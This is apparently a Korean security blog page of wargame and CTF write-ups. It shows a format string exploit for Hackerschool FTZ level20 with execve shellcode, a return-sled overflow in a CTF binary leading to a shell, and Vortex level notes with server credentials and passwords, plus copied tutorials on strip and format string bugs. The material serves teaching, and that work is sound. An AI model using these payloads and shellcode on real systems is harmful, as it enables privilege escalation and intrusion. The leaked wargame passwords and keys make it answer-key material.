2012. 4. 1. 16:15

동아리 교육용으로 만들다가 포스팅 해봅니다. 

Hackerschool FTZ level20

Passwd: we are just regular guys

[level20@localhost level20]$ ls -l

합계 24

-rwsr-sr-x 1 clear clear 11777 6¿ù 18 2008 attackme

-rw-r----- 1 root level20 133 5¿ù 13 2002 hint

drwxr-xr-x 2 root level20 4096 2¿ù 24 2002 public_html

drwxrwxr-x 2 root level20 4096 2¿ù 17 10:56 tmp

[level20@localhost level20]$ cat hint

 

#include <stdio.h>

main(int argc,char **argv)

{ char bleh[80];

setreuid(3101,3101);

fgets(bleh,79,stdin);

printf(bleh);

}

 

[level20@localhost level20]$

 


Bleh 80바이트 만큼 잡혀있고 표준 입출력(stdin)으로 79바이트 만큼 받아내므로 지금까지 해왔던 Overflow 를 발생 시키는 부분은 없다.

이 문제에서 다른 문제와 좀 다른 부분이 있다면 printf 의 사용법은 우리가 보통 어떠한 값으로 출력해 줄지 포멧을 정하고 그에 맞는 변수를 넣어 출력 시켜 주었지만, 이번의 경우는 char 변수를 그냥 대입하므로 출력 시켜 주었다.


그럼에도 불과 하고 잘 출력이 된다.

이제부터 언급할 부분은 이러한 부분을 이용하는 Formet String Bug 라는 공격 기법이다.

이 공격 기법에 대한 언급은 별도의 부록에서 다루도록 하겠다.

디버깅을 시도해보자.

위와같이 main 함수가 사라져 있는 것을 볼수 있고 대신 그위치에 start_main의 심볼이 있다.

그것을 열어보면 다른 함수들을 호출 한다. 이러한 경우는 정상적으로 gdb 만으로 분석하기가 힘들어 진다. 때문에 올리 디버거를 이용하여 좀 이용해보도록하자.

바이너리코드를 복사하여 자신의 서버에 옴기는 부록을 참조하여 해당파일을 자신의 컴퓨터로 옴겨 IDA로 연다. 하지만 역시나 스트립된 파일이기 때문에, 우리는 hex-ray를 통한 정확한 파일 복구를 할 수가 없다.

이때 중요한 심볼부분이 start 부분이다.



위 그림에서보면 start라는 심볼을 들어가보도록 하자.

아래쪽을 보면 __libc_start_main 바로 위에 주소가 메인이다.

더블클릭을 하여 들어간뒤 rename 을 해주도록 하자그리고 hey-ray를 이용하여(F5) 코드를 복구하면 다음과 같은 코드를 얻을 수 있다.

위처럼 코드가 나온다.

포멧스트링 버그가 있는 부분도 나오고, stdin 으로 정확히 출력된 값도 나온다.

 우선 메모리 구조를 보면

[  printf  ] [ bleh ] [  dummy  ][  sfp  ] [  ret  ] [ argc ] [ argv ] [ env ]  

^(esp)

Printf로 표준 입출력이 생길 때 esp printf 의 시작지 점인 곳에 위치하게 된다.

이때 메모리 주소값을 16진수로 출력시켜 보자.

[level20@ftz level20]$ ls

attackme  hint  public_html  tmp

[level20@ftz level20]$ ./attackme

aaaa%x

aaaa4f

[level20@ftz level20]$

[level20@ftz level20]$ ./attackme

aaaa%x%x

aaaa4f40152460

[level20@ftz level20]$ ./attackme

aaaa%x%x

aaaa4f40152460

[level20@ftz level20]$ ./attackme

aaaa%x%x%x

aaaa4f4015246040098500

[level20@ftz level20]$ ./attackme

aaaa%x%x%x%x%x

aaaa4f40152460400985006161616178257825

[level20@ftz level20]$ ./attackme

 

여기서 aaaa 3개를 입력하고 난뒤의 4F stdin의 크기이다. 0x4f 79이므로 79개만큼 출력한다는 뜻이다. 그리고나서 뒤에 40152460 40098500 가 존재하고 뒤부터 0x61616161이 반복되는데 이것은 우리가 입력하였던 AAAA 가 존재한다. 그 뒤에 40152460 40098500 을 알아보기 위해 임의의 프로그램 하나를 제작해보자.

그냥 단순히 printf를 출력하는 구문이면 충분하다.

[level20@ftz tmp]$ make test

cc     test.c   -o test

./t[level20@ftz tmp]$

[level20@ftz tmp]$

[level20@ftz tmp]$ ./test

a[level20@ftz tmp]$

[level20@ftz tmp]$ gdb test

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disass main

Dump of assembler code for function main:

0x08048328 <main+0>:    push   %ebp

0x08048329 <main+1>:    mov    %esp,%ebp

0x0804832b <main+3>:    sub    $0x8,%esp

0x0804832e <main+6>:    and    $0xfffffff0,%esp

0x08048331 <main+9>:    mov    $0x0,%eax

0x08048336 <main+14>:   sub    %eax,%esp

0x08048338 <main+16>:   sub    $0xc,%esp

0x0804833b <main+19>:   push   $0x80483f8

0x08048340 <main+24>:   call   0x8048268 <printf>

0x08048345 <main+29>:   add    $0x10,%esp

0x08048348 <main+32>:   leave

0x08048349 <main+33>:   ret

0x0804834a <main+34>:   nop

0x0804834b <main+35>:   nop

End of assembler dump.

(gdb) b main+33

Junk at end of arguments.

(gdb) b *main+33

Breakpoint 1 at 0x8048349

(gdb) r

Starting program: /home/level20/tmp/test

 

Breakpoint 1, 0x08048349 in main ()

(gdb) x/x 40152460

0x264ad8c:      Cannot access memory at address 0x264ad8c

(gdb) x/x 0x40152460

0x40152460 <_IO_2_1_stdin_>:    0xfbad2088

(gdb) x/x 0x40098500

0x40098500 <strrchr>:   0xc0315657

(gdb)

아래부분을 보면 0x40152460 stdin 을 나타내는 주소이고 0x40098500 strrchr에 관련된 함수이다. 이제 어떤것을 의미하는지 알았으니 메모리 구조를 다시 보도록하자.

Aaaa 를 하고 %x 를 출력시키면 메모리 구조는 아래와 같다

 

[  printf  ][ stdin ][ strrchr ][ bleh  ] [  dummy  ][  sfp  ] [  ret  ] [ argc ] [ argv ] [ env ]  

                             AAAA%x(이부분에서 printf 부분 다음 부분의 주소값부터 출력)

위 처럼 표현 될 수 있다.

 

 

PART 2  Format String Attack theory.

부록으로 뺄지 말지 고민중

시스템해킹의 특징은 자신이 원하는 메모리 주소에 자신이 원하는 값을 넣어서 원하는 위치에 도달하게 하는 공격이라는 것이다.

포멧스트링 역시 원하는 메모리 위치에 원하는 값을 넣는 것이 목적이 된다.

우선 기본적으로 사람 들이 알고 있는 서식 %d %lf %s %c 같은 부분은 생략하고 남들이 잘 활용하지 않는 %n 에 대해서 설명해 보겠다.  %n %n이 나오기 전에 출력된 자리수를 계산하여 스택의 다음 4바이트에 있는 내용을  주소로 여기고 그 주소에 계산한 자리수, ,숫자를 입력한다.

만약 AAAA%n을 넣었다고 하면 0x41414141 4라는 숫자를 넣게 된다.

[printf ] [ buff ] [sfp][ret]

        Aaaa%n(printf를 호출하면서 buffer의 시작 주소의 값을 가리킨다.)

 

자 이제 우리가 자주사용하던 %c 를 이용하여 숫자도 조절해보자, %c 란 값은 CPU에 상관없이 1byte의 문자이다. 그리고 %100c 하면 100개의 문자열이므로 100이된다. 포멧스트링공격의 관점에서보면 %100c%n 을하면 100이라는 숫자를 넣는다는 이론이 된다.

우리는 이제 원하는 메모리주소 0x41414141(AAAA)에 원하는 값 %100c 를 넣을 수 있게 된다는 이론이 된다.

 

공격함에 앞서 포멧스트링에서 신경써야할 문제점 3가지에 대해서 언급 해보 도록 하겠다.

첫번째 문제는 이 %c로 크기를 조절해 준다고 하여도 %c라는서식문자가 포함되어 있기 때문에 출력 시킬 메모리주소 4byte도 포함되어야 한다.

두번째 문제는 쉘코드 주소를 입력 할때도 10진수로 바꿔서 입력하여아 한다. 하지만 정수를 이용해서 0xffffffff 같은 큰 숫자를 지정해 줄수 없다. 때문에 쉘코드 주소를 2바이트씩 나누어서 입력하는 방법을 택해야 한다.

예를들면 쉘코드 주소가 0xbffffab8 이라면 bfff(64184) fab8(49151)로 나누어서 각자 10진수로 바꿔 입력해야한다.

만약 ret주소가 0x08049594 라면 0x08049594 2byte(fab8)을 입력하고 이제 2바이트 증가한 0x08049596 에 나머지 2byte(bfff)을 입력하는 방식으로 하는 것이다.

 

마지막 세번째 문제는 메모리를 출력시키는 부분까지 서식문자를 %x를 통하여 bleh까지 주소 값을 옮겨야 한다는 것이다.

 

이제 공격을 시도해보겠다.

첫번째는 디버깅이 안되는 (strip)된 상태에서 return address 를 찾아주는 일이다.

우리는 .dtors 라는 것에 대해 공부할 필요가 있다프로그램이 시작할때는 .ctors 라는 것을 거치고 프로그램이 종료될 시에는 .dtors 라는 것을 거친다. 이는 프롤로그와 에필로그를 담당 하는 부분이다.

Objdump를 이용하여 .dtors 부분을 ret 주소처럼 사용 해보자.

[level20@localhost level20]$ objdump -h attackme | grep .dtors

18 .dtors 00000008 08049594 08049594 00000594 2**2

[level20@localhost level20]$

 

 0x08049594 이 .dtors 를 호출하는 부분이므로 4바이트 뒷부분에 덮어  씌워서 시작하자마자 실행될 수 있도록 하면 된다.


AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n

원래 쉘코드의 주소값을 10진수로 바꾸면 64184와 49151이다.

%n은 자신이 나오기 전까지 모든 자릿수를 계산하기 때문에

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x 에 대한 자릿수까지 계산하게 됩니다. 이들의 자릿수는 (4 + 4 + 4 +4 +8 + 8 + 8) 40이므로64184에서 40을 빼 %64144c로 한 것이다.

50503은 역시 원래 49151(bfff)인데. 여기에서도 또한 %n은 자신이 나오기 이전의 모든 자릿수를 계산하므로 AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n에 대한 자릿수도 계산하게 되고 이에 해당하는 자릿수는 64184이므로 이를 빼줘야 한다.

그런데 49151(bfff)에서 빼게 되면 음수가 되므로 앞에 1을 붙인 값 (1bfff)를 10진수로 변환한 값(114687)에서 64184를 빼서 %50503c가 된다.

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n


 

[level20@localhost level20]$ export a=`perl -e 'print "\x90"x1000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

[level20@localhost level20]$ cd tmp

[level20@localhost tmp]$ cat > getshell.c

#include<stdio.h>

 

int main(int argc,char **argv){

 

printf("%x\n",getenv(argv[1]));

 

return 0;

}

 

[level20@localhost tmp]$ gcc -o getshell getshell.c

[level20@localhost tmp]$ ./getshell a

bffffe31

[level20@localhost tmp]$

 

 

[level20@localhost level20]$ (perl -e 'print "aaaa\x98\x95\x04\x08aaaa\x9a\x95\x04\x08%8x%8x%8x%65045c%n%49602c%n"';cat) | ./attackme

 

id

uid=3101(clear) gid=3100(level20) groups=3100(level20)

my-pass

TERM environment variable not set.

 

clear Password is "i will come in a minute".

웹에서 등록하세요.

 

* 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다.

당신의 끈질긴 열정과 능숙한 솜씨에 찾사를 보냅니다.

해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다.

이 메시지를 보시는 분들 중에 연구소에 관심있으신 자유로운 양식의 가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다


그림을 잘 보면 위에 수많은 놉코드로 인하여 공백이 생긴뒤 명령어가 실행되고 있다는 것을 볼 수 있다.

 

 




Posted by k1rha
2012. 4. 1. 05:19

WG 혁이가 쓴 문제풀이법.. 

[출처] http://hkkiw0823.pe.kr/xe/index.php?mid=Security&document_srl=854



http://www.hackerschool.org/Sub_Html/HS_University/CTF/Codegate/2011/vuln300/vuln300.html


몽이형의 코드게이트 문제 풀이 강좌 



================================출처 포너.tistory ======================================



hust K번 풀이

대회 서버에 접속하면 ping2 파일이 있다.
ping2 파일이 하는일을 보기위해 소스를 보았다.

 

dr-xr-xr-x. 2 whatthe whatthe 4096 2011-10-03 09:41 .
drwxr-xr-x. 5 root    root    4096 2011-10-01 08:40 ..
lrwxrwxrwx. 1 root    root       9 2011-10-03 09:41 .bash_history -> /dev/null
-rw-r--r--. 1 whatthe whatthe   18 2010-06-23 00:15 .bash_logout
-rw-r--r--. 1 whatthe whatthe  176 2010-06-23 00:15 .bash_profile
-rw-r--r--. 1 whatthe whatthe  124 2010-06-23 00:15 .bashrc
-r-sr-xr-x. 1 gotroot gotroot 4907 2011-10-01 08:31 ping2
-rw-r--r--. 1 root    root     268 2011-10-01 08:31 ping2.c


[whatthe@k1rha ~]$ cat ping2.c
#include<stdio.h>
#include<string.h>
#include<stdlib.h>

extern char **environ;
int main(int argc,char* argv[]){

 
 char buff[100];


 if(argc<2){
  printf("Usage : ./[file] [argv]\n");
 }
 else{
  strcpy(buff,argv[1]);
  printf("%s\n",buff);
  system("ls"); 
 }


}

 

소스를 보면 전형적인 buffer overflow 문제이다.
대회 환경은 fedora core 14이다.

 

[whatthe@k1rha ~]$ uname -a
Linux k1rha 2.6.35.14-96.fc14.i686 #1 SMP Thu Sep 1 12:49:38 UTC 2011 i686 i686 i386 GNU/Linux

 

[whatthe@k1rha ~]$ cat /proc/self/maps
005c4000-00747000 r-xp 00000000 fd:00 1049216    /lib/libc-2.13.so
00747000-00748000 ---p 00183000 fd:00 1049216    /lib/libc-2.13.so
00748000-0074a000 r--p 00183000 fd:00 1049216    /lib/libc-2.13.so
0074a000-0074b000 rw-p 00185000 fd:00 1049216    /lib/libc-2.13.so

[whatthe@k1rha ~]$ cat /proc/self/maps
00d79000-00efc000 r-xp 00000000 fd:00 1049216    /lib/libc-2.13.so
00efc000-00efd000 ---p 00183000 fd:00 1049216    /lib/libc-2.13.so
00efd000-00eff000 r--p 00183000 fd:00 1049216    /lib/libc-2.13.so
00eff000-00f00000 rw-p 00185000 fd:00 1049216    /lib/libc-2.13.so

 

랜덤라이브러리에 아스키아머까지 걸려있다 -_-;
남아있는 희망을 위해 주소가 올 랜덤인지 확인하였다.

 

[whatthe@k1rha ~]$ gdb -q ping
Reading symbols from /bin/ping...(no debugging symbols found)...done.
Missing separate debuginfos, use: debuginfo-install iputils-20100418-3.fc14.i686
(gdb) b main
Breakpoint 1 at 0x8048427
(gdb) r
Starting program: /home/whatthe/ping2

Breakpoint 1, 0x08048427 in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.13-2.i686
(gdb) p execl
$1 = {<text variable, no debug info>} 0x1ac670 <execl>
(gdb) p execl

 

gdb로 살펴본 해본 결과 6~8번에 한번 꼴로 '0x1ac670' 주소가 반복 된다.


[whatthe@k1rha ~]$ strace ./ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`

execve("./ping2", ["./ping2", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...], [/* 27 vars */]) = 0
brk(0)                                  = 0x817f000
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb782f000

 .... 중략 ...

--- {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=11715, si_status=0, si_utime=0, si_stime=0} (Child exited) ---
execve("1\355^\211\341\203\344\360PTRh\340\204\4\10h\200\204\4\10QVh$\204\4\10\350\243\377\377\377\364\220\220\220\220\220\220\220\220\220\220\220\220\220\220U\211\345S\215d$\374\200=\4\227\4\10", [], [/* 27 vars */]) = -1 ENOENT (No such file or directory)
--- {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x2} (Segmentation fault) ---
+++ killed by SIGSEGV +++
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha ~]$


ret 슬레딩으로 인자를 고정값이 있는곳으로 옮기고 execl함수를 실행시키면
6~8번에 한번꼴로 execve 함수가 실행이 되는것을 볼 수있다.

 

"1\355^\211\341\203\344\360PTRh\340\204\4\10h\200\204\4\10QVh$\204\4\10\350\243\377\377\377\364\220\220\220\220\220\220\220\220\220\220\220\220\220\220U\211\345S\215d$\374\200=\4\227\4\10"

 

이 고정값을 실행하고 권한 재설정을 위해 심볼릭싱크를 걸었다.
 
[whatthe@k1rha ~]$ cd /tmp
[whatthe@k1rha tmp]$ mkdir hkkiw0823 ; cd hkkiw0823/
[whatthe@k1rha hkkiw0823]$ cat > ex.c
#include <stdio.h>

void main(){
 setreuid(geteuid(),geteuid());
 execl("/bin/sh","sh",0);
}

[whatthe@k1rha hkkiw0823]$ gcc -o ex ex.
[whatthe@k1rha hkkiw0823]$ ln -s ex `python -c 'print "1\355^\211\341\203\344\360PTRh\340\204\4\10h\200\204\4\10QVh$\204\4\10\350\243\377\377\377\364\220\220\220\220\220\220\220\220\220\220\220\220\220\220U\211\345S\215d$\374\200=\4\227\4\10"'`
[whatthe@k1rha hkkiw0823]$ export PATH=./:$PATH

[whatthe@k1rha hkkiw0823]$ ls
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex

 

6~7번 정도 실행해보면 쉘이 따인다.

 

[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
?멸렇硫????댁?? ?ㅻ쪟
[whatthe@k1rha hkkiw0823]$ /home/whatthe/ping2 `python -c 'print "a"*112+"\x37\x85\x04\x08"*22+"\x70\xc6\x1a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?7?p?
1?^?????PTRh????h????QVh$????????????????????U??S?d$??=????  ex
sh-4.1$ 
sh-4.1$ 
sh-4.1$ id
uid=503(gotroot) gid=502(whatthe) groups=503(gotroot),502(whatthe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.1$ /bin/bash
[gotroot@k1rha hkkiw0823]$ cd /home
[gotroot@k1rha home]$ ls
gotroot  point  whatthe
[gotroot@k1rha home]$ cd gotroot/
[gotroot@k1rha gotroot]$ ls
keyvalueresult
[gotroot@k1rha gotroot]$ cat keyvalueresult

wantedGirlfriend


키 : wantedGirlfriend


Posted by k1rha
2012. 4. 1. 00:52

파일이 스트립되어 있는 경우는 디버깅시 심볼밖에 출력 되지를 않는다.

그리고 바이너리로 옮겨서 아이다로 분석하여도 파일자체가 스트립된 것이기 때문에, 보여지지 않는다..

이방법에 대해서는 몽형의 동영상 강좌를 통해 좀더 학습해야겠다. 



우선 아래 스트립이란 무엇인가에 대해서 퍼왔다.  just in case 를 위해 복사했지만 가능하면 아래 주소로 가서 방문자 카운트나 올려주는겸해서 참가 하도록 하자. 


============================================출처 :http://mwmw7.tistory.com/231==============================

strip 이용하기

strip은 오브젝트 파일에 있는 심볼을 삭제하는 툴이다.

일반적으로 빌드 완료한 실행파일 또는 라이브러리에서 불필요한 심볼을 제거하는데 사용한다.


사용법

SYNOPSIS

      strip [-F bfdname |--target=bfdname]

    [-I bfdname |--input-target=bfdname]

    [-O bfdname |--output-target=bfdname]

    [-s|--strip-all]

    [-S|-g|-d|--strip-debug]

    [-K symbolname |--keep-symbol=symbolname]

    [-N symbolname |--strip-symbol=symbolname]

    [-w|--wildcard]

    [-x|--discard-all] [-X |--discard-locals]

    [-R sectionname |--remove-section=sectionname]

    [-o file] [-p|--preserve-dates]

    [--keep-file-symbols]

    [--only-keep-debug]

    [-v |--verbose] [-V|--version]

    [--help] [--info]

    objfile...


굉장히 욥션이 많지만... 실제 사용에서는 굉장히 간단하다.

root@boggle70-desktop:tmp# file a.out 

a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), 

dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped



strip을 실행하고 확인해 보자.

root@boggle70-desktop:tmp# strip a.out 

root@boggle70-desktop:tmp# ls -la a.out 

-rwxr-xr-x 1 root root 5532 2011-03-26 16:56 a.out

root@boggle70-desktop:tmp# file a.out 

a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), 

dynamically linked (uses shared libs), for GNU/Linux 2.6.15, stripped


파일 사이즈는 6096 -> 5532 byte 로 줄어들었고 파일의 정보에는 not stripped 라고 나오던것이

stripped 되었다고 나오게 된다.


하지만 strip 을 시키고 나면 아래와 같이 나옵니다.

root@boggle70-desktop:tmp# nm a.out 

nm: a.out: no symbols


이제 strip 을 사용할때 사용하는 옵션중에 -d 옵션을 보겠습니다.

root@boggle70-desktop:tmp# strip -d a.out

root@boggle70-desktop:tmp# ls -la a.out 

-rwxr-xr-x 1 root root 7492 2011-03-26 17:02 a.out

파일의 크기가 옵션없이 실행하는 것보다 약간 큽니다.

-d 옵션은 디버그용 정보만을 제거하는 옵션입니다.

때문에 nm 으로 출력시 동일한 실볼을 찾을 수는 있지만 파일명이나 행번호는 찾을수 없습니다.

따라서 addr2line 과 같은 것을 사용할수 없고 디버깅시에도 심볼네임만 볼수 있을뿐입니다.


-R 옵션은 지정된 섹션을 제거하는 옵션입니다.

만약 strip -R .text a.out 을 실행한다면... 그 프로그램은 실행하수 없습니다.

.text 는 code 영역이기 때문에 실행할 코드를 모두 제거하게 되기 때문입니다.


또 라이브러리 파일에 이것을 사용하면 다른 오브젝트와 링크가 불가능합니다.

링커는 심볼에 의존해서 오브젝트를 링크해주기 때문입니다.


strip 은 역시 BFD라이브러리를 이용해 제작된 툴입니다.

GNU binutils 의 소스코드는 objcopy 와 동일한 코드로 이루어져 있고

objcopy 명령에 -strip 을 사용하면 strip 과 같은 기능을 수행하게 됩니다.

====================================================================================================


Posted by k1rha
2012. 3. 31. 04:08

[vortex] level2 -> level3


IP : 178.79.134.250

PORT : 22

ID : vortex2 

PW : 23anbT\rE



Level Goal:
Create a special tar file
Helpful Reading Material
GNU tar manual
Code listing (vortex2.c)
 1 #include <stdlib.h>
 2 #include <stdio.h>
 3 #include <sys/types.h>
 4 
 5 
 6 int main(int argc, char **argv)
 7 {
 8         char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] };
 9         execv(args[0], args);
10 }




char  *buff[] = {"bin/tar","cf","/tmp/ownership.$$.tar",argv[1],argv[2],argv[3]};
execv( buff[0],buff);


즉 인자값으로 들어가는 값들을 /tmp/ownership.$$.tar 로 압축 해준다. 
그렇담 패스워드가 들어있는 파일을 압축을해 보자. 

/etc/vortex_pass 로 들어가서 
vortex3 패스워드를 얻어내면된다.

공격구문은 아래와 같다. 




KEY = 64ncXTvx#


'War_Game > Vortex' 카테고리의 다른 글

[vortex] level3 -> level4  (0) 2013.10.10
[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha
2012. 3. 29. 16:22
IP : 178.79.134.250
PORT : 22
ID : vortex1 
PW : Gq#qu3bF3

취약한 파일을 실행하면 아래와 같이 16진수의 어떤 값들을 뿌려준다.  input을 바꾸어 가면서 여러번 입력해 보았지만 결과값은 전부 같은 것이 출력 되는것 같다. 

setuid 가 걸린 파일은 gdb로 분석이 안되므로 /tmp/ 디렉토리(쓰기가 가능한 디렉토리) 에 복사하여 setuid 를 없애고 


k1rha@ubuntu:~/zANruhPR_public_html/vortex/vortex1$

이후 파일을 다운받아 IDA 의 헥스레이를 이용하여 간단하게 복구를 해보았다. 

코드는 다음과 같다 . 



while 문을 통해 글자를 한글자씩 받는다. 

그리고 그 문자열이 -1 (EOF) 일때까지 돌리고 EOF이면 종료 된다. 

문자열이 헥사코드 10 (\n) 이면 버퍼의 주소값부터 512개를 출력 시킨다. 

그리고 문자열중 \\ (헥사코드 c5 를 문자열로 바꿈)이 나오면 포인터를 하나 감소시킨다(문자이므로 1바이트 임)


그리고 그외에는 그 포인터의 값이 256 값일때 (0xff와 & 연산한 부분의 값이 ) 0xCA 와 같을때 setuid 를 셋팅하고 /bin/bash를 실행해 준다. 때문에 ptr을 257번 빼준뒤 ca를 넣어서 256값이 ca가 되도록 해줘야 한다. 

PTR은 

Payload 를 그려보면


                      

[ ,,,   ][x (변수)][ buff[0--> 256] ][e()][sfp][ret][argc][argv][env] 이다. 

                         ^ (ptr 포인터 부분)

처음 OS 환경이 x86인 intel CPU 이기에 메모리주소값은 little endian 방식을 취하므로 buff 에서 ret 으로 갈수록 작은 주소값을 가진다.


이때 x 가 \\ 가 들어올때마다 ptr 이 하나씩 감소한다. 즉 buff[0]부터 하나씩 포인터가 감소하여 buff[256]을 지나는 순간의 값이 0xCA가 되면 되는것이다. 


인자값 전달은 perl 을 사용하였다. 받는 값이 getchar 이니, perl로 출력된 값을 그대로 전달하면 될것이다. 



쉘이 떨어지긴하는데 바로 exit가 되버린다.  이럴때 ;cat 명령어와 함께 사용해 주어, 멈추게 하는 방법을 hackerschool 문제때 사용했으나 이경우엔 먹통이 되어 아무 명령도 실행 할 수 없었다. 

검색을 해본결과 아래와 같은 부분을 찾을 수 있었다.

========================================================================================================

리눅스에서 사용되는 |(파이프) 명령어는 4096바이트를 차지한다는 것이다.

즉, 4096바이트 크기를 넘지않는 4096바이트 안에 포함된 모든 입력값들은 파이프 명령어가 꿀꺽하기 때문에 쉘에 명령어가 전달이 되지 못한다는 것이다.

 

즉, 쉘을 획득한 상태에서 파이프로 인자를 넘기려면 4096이상 넘겨야 쉘코드로 인자를 넘겨 실행하는 것이 가능하다는 말이군!

 

[출처] Vortex Level1|작성자 hks9999

===========================================================================================================

좋아~ 일정 바이트를 넘겨야 한다 이거군..


테스트를 해보자.. 우선 패스워드는 /etc/vortex_pass/에 있다고 했으니 그곳을 읽는 걸로 바로 명령어를 쳐보자 



위와같이 a를 3838개를 넣었을때 command not found 에서 명령어 a가 다 사라졌다.  그리고 vortex2의 패스워드를 얻을 수 있었다. 


PW : 23anbT\rE





'War_Game > Vortex' 카테고리의 다른 글

[vortex] level3 -> level4  (0) 2013.10.10
[Vortex] level0 -> level1  (0) 2013.07.29
[vortex] level2 -> level3  (0) 2012.03.31
Posted by k1rha
2012. 3. 29. 16:20
===========================================================================================================

출처 : http://geundi.tistory.com/133  by Genudi

그냥 링크를 할 수도 있었으나 혹시나 글이 지워질 사항을 대비하여 출처를 남기고 복사 하여 가져옵니다. 

좀 논리상 안맞지만 포멧 스트링 버그라는게 이해하기는 쉬워도 설명하기는 정말 까다로운 공격기법이라 생각하는데, 아래 분은 정말 잘 설명해 주셨더라구요. 


몇번 씩 다시 읽으면서 뜯어 고친 느낌도 나고, 경의를 표합니다.  

======================================================




1. 자 마지막 힌트 보시겠습니다.

#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
  setreuid(3101,3101);
  fgets(bleh,79,stdin);
  printf(bleh);
}

음 setreuid는 있군요.. 그런데 쉘을 실행시키는 명령은 없네요. 쉘코드가 필요하겠군요.



2. 취약점 분석


  (1)소스분석


크게 소스분석은 필요하지 않을것 같네요. bleh라는 이름의 버퍼가 80바이트 크기로 선언이 되었습니다. 아 이런 그런데 fgets함수에 의해서 문자열을 입력은 받긴 하지만 그 최대길이를 79바이트로 제한을 해버렸습니다. 버퍼오버플로우는 불가능합니다. ret까지 덮어쓸 뭐시기가 없네요.

그럼 이문제는 무슨 문제일까요?


  (2)printf(bleh);

바로 이부분이 문제입니다. c언어 하루라도 공부해보신 분이라면 다 아시는 printf함수 사용에 독특함이 있다는 것을 알 수 있으실겁니다. printf함수는 대부분 이런식으로 사용하죠?

#include <stdio.h>

int main();
{
 int a=0;
 printf("%d" , a);  // 이렇게 따옴표와 서식문자 %d, 변수명을 이용합니다.
}


그 문제점이 무었일까요? 그래 바로 포맷스트링 버그 입니다.



3. 포맷스트링 버그

